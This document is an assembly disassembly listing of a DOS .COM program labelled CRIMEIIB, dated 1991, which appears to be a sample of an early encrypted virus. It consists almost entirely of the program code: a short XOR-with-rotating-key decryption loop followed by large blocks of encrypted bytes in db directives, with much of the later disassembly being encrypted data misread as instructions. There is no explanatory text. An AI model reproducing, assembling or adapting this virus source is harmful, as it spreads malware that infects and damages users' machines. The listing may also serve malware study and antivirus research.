PAGE  59,132

;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ								         ÛÛ
;ÛÛ			        CRIMEIIB			         ÛÛ
;ÛÛ								         ÛÛ
;ÛÛ      Created:   31-Jan-91					         ÛÛ
;ÛÛ      Passes:    5	       Analysis Options on: none	         ÛÛ
;ÛÛ								         ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ

data_8e		equ	20D3h			;*
data_9e		equ	28C9h			;*
data_10e	equ	3C81h			;*
data_26e	equ	8ECDh			;*
data_34e	equ	0B7C5h			;*
data_37e	equ	0D848h			;*
data_38e	equ	0E245h			;*
data_44e	equ	0F198h			;*

seg_a		segment	byte public
		assume	cs:seg_a, ds:seg_a


		org	100h

crimeIIb	proc	far

start:
;*		jmp	loc_2			;*
		db	0E9h,0FFh,0FFh
		db	1			; Data table (indexed access)
		db	 00h, 99h, 5Eh, 81h,0EEh, 03h
		db	 01h, 83h,0FEh, 00h, 74h, 1Ch
		db	 2Eh, 8Ah, 94h, 03h, 01h, 8Dh
loc_3:
		mov	ax,cs
		push	es
		lea	bx,[si+12Ah]		; Load effective addr
		sub	cx,bx

locloop_4:
		mov	al,cs:[bx]
		xor	al,dl
		ror	dl,1			; Rotate
		mov	cs:[bx],al
		inc	bx
		loop	locloop_4		; Loop if cx > 0

		mov	bh,4Ch			; 'L'
		loop	$+32h			; Loop if cx > 0

		cbw				; Convrt byte to word
		iret				; Interrupt return
;*		js	loc_6			;*Jump if sign=1
		db	 78h, 35h
		xchg	ax,di
		retn	3479h
		adc	al,70h			; 'p'
		scasb				; Scan es:[di] for al
		xor	ax,4C20h
		db	 66h, 83h, 99h, 30h, 95h, 99h
		db	 29h, 90h, 48h,0BBh, 1Dh, 04h
		db	 60h, 1Dh, 11h, 48h, 8Eh, 35h
		db	0B7h, 44h,0E2h, 3Bh, 9Eh, 41h
		db	0F2h, 7Bh, 9Eh, 78h, 7Ch,0FEh
		db	0B8h,0FFh,0A6h, 2Dh, 17h, 14h
		db	0C7h, 35h, 98h,0D3h, 5Bh, 33h
		db	 99h
loc_6:
		mov	cx,1D6Ch
		pop	di
		dec	ax
		db	0C8h, 32h, 99h, 5Ch, 8Dh, 3Bh
		db	 09h,0E2h,0A0h,0B7h, 37h,0CDh
		db	 67h,0A3h, 72h, 81h,0F6h

locloop_7:
		jle	loc_3			; Jump if < or =
;*		call	far ptr sub_7		;*
		db	 9Ah, 63h, 33h, 99h,0CCh
		db	 67h, 33h, 98h, 3Ch, 99h,0C3h
		db	 66h,0CCh, 66h, 33h, 99h,0CDh
		db	 66h,0FEh,0B9h,0CCh
		db	 64h, 37h
		db	99h
		db	0CCh, 66h
		dw	9931h			; Data table (indexed access)
		db	 33h, 69h,0CCh, 66h,0CCh, 66h
		db	0CDh, 66h,0CCh, 66h,0D3h, 98h
		db	0CCh, 66h, 2Fh, 99h,0CCh, 66h
		db	 26h, 98h,0CEh
		db	 65h, 33h

locloop_8:
		cbw				; Convrt byte to word
		xor	bp,[bp+si+39h]
		cbw				; Convrt byte to word
		out	48h,al			; port 48h ??I/O Non-standard
		jbe	$-3Dh			; Jump if below or =
		mov	[bp+19h],sp
		mov	bh,8Fh
		sub	[bp-67h],di
		in	al,dx			; port 0, DMA-1 bas&add ch 0
		db	 66h, 37h, 70h,0CCh, 66h,0B0h
		db	 67h,0CCh, 13h, 30h, 70h, 1Bh
		db	 66h, 1Dh, 12h, 48h,0F7h
		db	 32h,0A4h, 81h, 3Ch
loc_10:
		inc	si
		nop
		loop	locloop_7		; Loop if cx > 0

		mov	bh,16h
		int	67h			; ??INT Non-standard interrupt
		esc	0,[bp+si+485Ch]		; coprocessor escape
		cmc				; Complement carry
		sbb	ax,6743h
		xor	dx,[si]
;*		jo	loc_11			;*Jump if overflow=1
		db	 70h,0F7h
		xor	ah,[bp+si]
		int	3			; Debug breakpoint
		db	 67h, 8Ah, 97h,0CCh

locloop_12:
		in	ax,dx			; port 0, DMA-1 bas&add ch 0
		db	 36h, 10h,0CBh, 25h
		db	 70h,0DEh, 8Bh, 84h,0C5h,0B7h
		db	 47h,0E2h,0B0h, 98h,0E2h,0EFh
		db	0B7h, 1Ch,0CDh
		db	 48h,0B8h, 1Dh, 4Bh, 67h, 1Dh
		db	 10h, 48h,0EFh, 32h,0B7h, 47h
		db	0E2h, 94h, 98h,0E2h,0EFh,0B7h
		db	 12h,0CDh,0D2h, 19h, 54h,0EDh
		db	 48h, 0Ah, 0Dh, 78h, 67h, 4Fh
		db	 9Ah, 27h, 19h,0A3h,0B7h,0F6h
		db	0E2h, 9Dh, 98h,0B9h, 65h,0D8h
		db	0ECh, 5Ch,0EBh,0AFh, 16h,0CEh
		db	0DFh, 2Ah, 99h,0E2h,0ECh, 24h
		db	 19h, 3Eh, 33h, 87h, 9Bh, 01h
		db	 47h, 70h, 7Bh, 3Fh,0EBh,0AFh
		db	 51h,0CAh,0DEh, 33h, 98h,0FFh
		db	0AFh, 1Dh, 10h,0CBh, 25h, 70h
		db	 67h, 08h, 27h,0B0h, 60h,0ECh
		db	 18h,0C0h, 14h, 50h,0AEh, 35h
		db	 2Ch,0CCh,0DCh,0B3h, 99h, 79h
		db	 66h, 83h, 99h, 7Dh, 60h,0E1h
		db	 79h, 46h,0AEh,0B3h, 50h,0CDh
		db	0DEh, 33h, 9Ch, 01h, 75h, 41h
		db	 9Eh, 32h,0A0h,0B3h, 67h,0C5h
		db	 13h,0D6h, 20h,0C9h, 66h, 87h
		db	 9Bh, 7Eh, 61h,0FEh,0B8h, 2Eh
		db	 9Eh,0D8h, 67h, 93h, 3Eh, 22h
		db	 8Dh,0CDh, 72h, 25h, 9Eh,0D0h
		db	 7Eh, 23h,0ECh,0D0h, 7Ah, 46h
		db	0ECh,0CFh, 7Ah, 34h, 99h,0CAh
		db	 39h, 6Bh,0C6h, 94h,0D2h, 2Ah
		db	 54h,0EDh, 48h,0BBh, 1Dh, 09h
		db	 67h, 87h,0DEh,0FFh,0B4h
		db	65h
		db	 14h, 78h,0AFh, 35h, 54h,0EDh
		db	 38h
		db	 1Dh, 5Fh, 48h,0D0h, 32h, 99h
		db	 24h, 3Bh

locloop_17:
		xor	dx,[si]
		push	ax
		db	0C9h, 32h,0B7h, 46h,0E2h, 85h
		db	 98h,0E2h, 98h,0B7h, 2Fh,0CDh
		db	0FEh
		db	30h
		db	 41h,0E2h,0ECh, 34h
		db	 13h, 1Ch, 5Ah,0CCh,0ECh,0CFh
		db	 8Fh, 1Eh, 9Ah, 4Ch, 9Ch, 32h
		db	0ECh,0DCh, 48h,0B9h, 1Dh, 62h
		db	 67h, 0Fh, 98h,0B8h,0B3h, 0Fh
		db	 9Bh,0B9h, 65h,0DAh,0A5h, 33h
		db	0D2h, 3Dh, 54h,0EDh,0D2h, 74h
		db	 2Bh,0CCh, 30h,0BEh, 2Dh, 25h
		db	 60h,0FEh,0B8h, 92h,0DDh, 37h
		db	 99h,0E2h
		db	0ECh, 34h,0A5h,0CFh, 13h, 34h
		db	 29h,0CCh, 48h,0BBh, 9Eh, 27h
		db	0CBh,0DBh, 85h,0CDh, 8Eh,0ABh
		db	 99h
		db	0BFh, 48h,0D8h, 3Ah,0FFh,0A6h
		db	 2Dh, 17h, 14h,0DDh,0A3h, 99h
		db	 47h, 21h, 31h,0B7h, 45h,0E2h
		db	 4Eh, 98h, 47h, 61h, 1Dh, 10h
		db	 48h, 19h, 32h, 15h, 04h,0EFh
		db	 74h, 9Bh, 41h,0E2h, 74h, 9Ah
		db	 45h, 61h, 2Ch, 5Ah, 77h, 62h
		db	 33h,0B7h, 0Ah, 61h, 30h, 56h
		db	 75h, 26h, 33h,0CFh, 83h, 29h
		db	 7Ch, 5Eh,0C9h, 46h, 6Fh, 12h
		db	 3Fh, 9Ah, 9Fh, 33h, 85h, 5Ah
		db	 33h,0ECh, 35h, 38h, 87h,0A2h
		db	 41h,0F2h, 3Bh, 9Eh, 01h, 47h
		db	0DBh, 51h,0CCh, 8Eh, 77h, 99h
		db	0BFh,0BCh, 87h,0A2h, 41h,0F2h
		db	0DBh, 9Fh, 01h, 47h, 1Dh
		db	 67h, 48h

locloop_21:
		retf
		xor	dh,[bx+di-2]
		db	 66h, 40h, 9Ah, 25h,0E0h, 31h
		db	0B7h, 46h,0E2h, 9Eh, 98h,0F0h
		db	 66h, 46h, 9Ch, 4Fh,0A5h, 3Ah
		db	 72h, 7Bh,0D2h, 7Ch,0C9h, 01h
		db	 47h, 6Bh,0EAh,0CFh, 8Fh, 10h
		db	 66h, 9Ch,0D2h, 1Ch, 54h,0EDh
		db	0E5h,0F0h, 8Ch
		db	 7Ch, 76h, 1Dh,0A1h,0CBh, 3Eh
		db	 46h, 7Ch, 32h,0AEh,0D8h
		db	 41h, 41h,0DAh, 3Ah, 9Eh, 75h
		db	 5Ch, 33h, 29h,0CCh, 9Ah,0C0h
		db	 33h, 78h, 21h, 65h,0AAh, 1Eh
		db	0EBh, 87h, 90h,0CBh,0ABh, 12h
		db	0C7h, 30h,0EBh, 8Fh, 90h,0CBh
		db	0DFh, 73h, 99h, 7Ch, 66h,0C1h
		db	 37h,0B8h, 64h,0CAh, 5Ah, 83h
		db	 29h,0B9h, 9Ch,0F0h
		db	 3Ah, 47h
		db	 9Ah, 8Bh,0D6h, 6Fh,0B7h, 44h
		db	 63h, 74h, 29h,0E6h, 48h,0BBh
		db	 9Ch, 8Bh,0D6h, 1Dh,0B7h, 44h
		db	 63h, 74h, 29h,0E6h, 48h,0BBh
		db	 9Ch, 8Bh,0EBh,0A7h, 91h,0CBh
		db	0D2h, 7Dh, 20h,0DCh, 66h,0FEh
		db	0B8h,0BFh, 67h,0F0h, 2Dh,0E3h
		db	 60h,0FEh,0B8h, 4Fh,0A5h, 26h
		db	 29h,0DCh
		db	 40h, 0Bh, 9Eh,0CBh, 13h
		db	 21h, 61h, 78h, 49h, 35h, 54h
loc_26:
		in	ax,dx			; port 0, DMA-1 bas&add ch 0
		in	ax,0F0h			; port 0F0h ??I/O Non-standard
		xchg	di,[si+48h]
		sbb	ax,0CBA1h
		db	 61h, 47h, 98h, 0Fh,0D2h, 7Ch
		db	 54h,0EDh, 15h,0EBh, 60h, 0Fh
		db	0D2h, 7Dh, 20h,0CBh, 66h,0BEh
		db	 0Dh, 7Bh, 67h,0FEh,0B8h,0BEh
		db	 77h,0DBh,0B4h,0CCh,0D2h, 7Ch
		db	 20h,0CBh, 66h,0FEh,0B8h,0BEh
		db	 63h,0DBh,0B8h,0CCh, 8Dh,0C1h
		db	 14h, 58h,0DBh, 32h, 2Dh, 82h
		db	0DFh, 34h, 99h, 01h, 47h, 41h
		db	 88h, 24h, 69h, 33h, 2Dh, 83h
		db	0DFh, 34h, 99h, 01h, 47h, 41h
		db	 9Ch, 24h, 65h, 33h, 72h, 3Eh
		db	0A5h, 87h,0B6h,0CAh,0ABh, 12h
		db	 1Ah, 0Fh, 79h, 15h, 13h,0CBh
		db	 61h, 0Fh,0DBh,0B9h, 67h,0F0h
		db	 2Dh,0E3h, 60h,0FEh,0B8h, 4Fh
		db	0A5h, 25h,0BFh, 47h, 69h,0B0h
		db	 5Ah,0CEh, 40h,0B8h, 8Eh,0CBh
		db	0ECh,0F2h,0BDh, 2Ch,0ECh,0D3h
		db	0C8h
		db	'uc3K$'
		db	'?9]'
		db	0C8h, 63h, 09h, 58h,0B8h, 63h
		db	0B9h, 51h, 27h, 64h,0A3h, 5Ah
		db	 94h, 3Eh, 62h,0CBh,0D2h, 60h
		db	 87h,0B6h, 01h, 47h,0BFh, 59h
		db	 42h,0BEh,0DBh, 8Ah,0CDh,0EDh
		db	0E0h, 1Ah, 0Eh, 78h, 8Bh, 9Bh
		db	0F1h,0ABh, 12h, 12h, 14h, 61h
		db	 2Ch, 2Dh,0F3h,0EBh,0A7h, 08h
		db	0CDh,0DFh, 2Fh, 99h, 01h, 47h
		db	 1Dh
		db	 13h, 68h,0F7h
		db	 32h,0B7h, 46h,0E2h,0A1h, 98h
		db	0F1h, 3Ch, 7Eh,0EDh,0CFh, 8Fh
		db	0AAh, 99h,0E2h,0EDh,0B7h, 3Ch
		db	0CDh, 48h,0BAh, 1Dh, 4Fh, 67h
		db	 1Dh, 12h, 48h,0C1h, 32h,0B7h
		db	 45h,0E2h,0B4h, 98h,0E2h
		db	0EDh,0B7h, 0Ch,0CDh, 35h, 00h
		db	 42h,0FFh,0AFh,0E2h, 49h, 46h
		db	0AAh,0E2h, 41h, 4Fh, 9Fh, 33h
		db	0EDh,0CAh,0E7h,0F0h, 99h,0DCh
		db	 84h,0C9h, 28h,0C5h,0B5h,0D3h
		db	 20h,0C8h, 66h, 1Dh, 12h, 58h
		db	0FFh, 32h, 4Ah, 2Eh, 36h, 18h
		db	 5Bh,0E2h,0EFh,0AFh, 3Eh,0CDh
		db	 48h,0BAh, 05h
		db	 53h, 67h
		db	 1Dh, 10h, 48h,0C3h, 32h, 20h
		db	0CCh, 64h, 1Dh, 10h, 40h,0F5h
		db	 32h, 20h, 32h, 99h, 1Dh, 10h
		db	 40h,0C7h, 32h,0B7h, 47h,0EAh
		db	0A6h, 98h, 4Fh,0A7h, 30h,0B7h
		db	45h

locloop_31:
		jmp	far ptr $-6CB4h
		loop	$+74h			; Loop if cx > 0

		sbb	ax,0E28Dh
		jc	$+4Ch			; Jump if carry Set
		mov	cx,52B8h
		xchg	ax,si
		esc	6,[bp+di]		; coprocessor escape
		esc	3,ds:[12ABh][bx]	; coprocessor escape
;*		jno	loc_30			;*Jump if not overflw
		db	 71h,0C9h
		db	 67h, 8Bh, 99h, 8Eh, 55h,0FAh
		db	0AAh, 1Eh,0ABh, 12h, 2Dh, 8Ch
		db	0DFh, 2Fh, 99h, 41h,0F2h,0A2h
		db	 98h, 01h, 47h,0D8h,0AEh, 5Ch
		db	0DEh, 31h,0DBh,0FFh,0AFh, 00h
		db	 4Bh, 01h, 47h,0DBh, 7Bh,0CCh
		db	0DEh, 33h,0DBh,0FFh,0AFh, 00h
		db	 4Bh, 01h, 47h, 87h,0B6h, 9Fh
		db	 60h,0FEh,0B8h, 4Fh,0A5h, 29h
		db	0BFh, 47h, 61h, 34h,0C2h,0E1h
		db	 65h, 33h,0B7h, 45h,0E2h,0F4h
		db	 98h, 78h, 26h, 8Ah, 9Ah,0CCh
		db	0EBh,0A7h, 5Fh,0CDh,0ABh, 12h
		db	0C3h, 95h,0DEh, 32h,0CEh, 01h
		db	 47h, 87h,0A7h, 01h, 47h,0DBh
		db	0B5h,0CCh,0D2h, 08h, 14h, 58h
		db	 8Eh, 35h, 54h,0EDh, 8Dh, 09h
		db	 09h, 78h, 49h, 35h,0CAh
		db	 01h, 47h,0B8h, 4Ah, 4Fh,0A4h
		db	 2Dh, 21h,0CCh, 25h,0FEh,0B8h
		db	 97h, 61h, 1Dh, 10h, 40h,0A5h
		db	 32h, 18h, 2Dh, 98h, 33h, 21h
		db	0CDh, 25h,0FEh,0B8h, 0Fh, 48h
		db	0B8h, 15h, 0Fh, 67h, 87h,0B6h
		db	0CAh, 35h,0FEh,0B8h, 47h,0B5h
		db	0B0h, 5Bh,0D2h,0DEh, 32h,0DAh
		db	 01h, 47h, 68h, 9Eh, 0Fh,0D2h
		db	3Dh
		db	0B7h, 46h,0F2h,0F6h, 98h, 01h
		db	 47h, 87h,0A2h, 41h,0F2h,0FBh
		db	 9Fh
loc_34:
		add	[bx-25h],ax
		mov	word ptr ds:[61CCh],ax
		sub	al,2Dh			; '-'
		db	0D6h,0DCh,0B3h, 99h, 01h, 47h
		db	0B8h, 5Fh,0F1h, 66h, 33h,0EDh
		db	0EAh, 48h,0B9h, 1Dh, 43h, 67h
		db	 0Fh, 98h,0B9h, 7Eh, 1Dh, 12h
		db	 48h,0EFh, 32h,0B7h, 47h,0FAh
		db	0B8h, 98h,0C2h, 3Fh, 18h, 52h
		db	0CFh,0AEh, 62h,0B7h, 47h,0E2h
		db	0B6h, 98h, 9Ch,0ADh, 88h, 99h
		db	0CDh, 99h,0D0h
		db	2Dh
loc_35:
		sub	byte ptr [bp+di-55EEh],0Ch
		js	loc_34			; Jump if sign=1
		inc	cx
		ja	loc_35			; Jump if above
		xor	si,word ptr ds:[0E247h][bx]
		dec	si
		cbw				; Convrt byte to word
		inc	bp
		and	[bx+di],si
		adc	cl,[bx+si+19h]
		xor	dl,[bx+si]
		retf
;*		jns	loc_36			;*Jump if not sign
		db	 79h,0F0h
		retf	0EA41h
		cmp	bx,[bp-48B9h]
		mov	si,5B05h
		db	 60h, 18h, 52h, 4Fh, 8Fh, 73h
		db	0B7h, 46h, 61h,0B4h, 43h,0E2h
		db	0EEh, 34h, 1Eh, 16h, 25h, 71h
		db	 7Bh, 3Eh, 8Dh, 41h, 09h, 24h
		db	 69h, 33h,0C2h, 41h,0EAh,0FBh
		db	 9Fh, 41h,0F2h, 33h, 98h,0E7h
		db	0ACh, 87h,0D9h, 01h, 47h, 1Dh
		db	 13h, 58h, 65h, 32h,0CAh, 41h
		db	0EAh,0FBh, 9Fh, 41h,0FAh, 19h
		db	 98h,0E7h,0ADh, 1Dh, 13h,0CBh
		db	 54h,0F1h, 49h, 06h, 48h,0BBh
		db	 9Eh, 8Fh, 84h,0C0h,0C2h, 0Fh

crimeIIb	endp

seg_a		ends



		end	start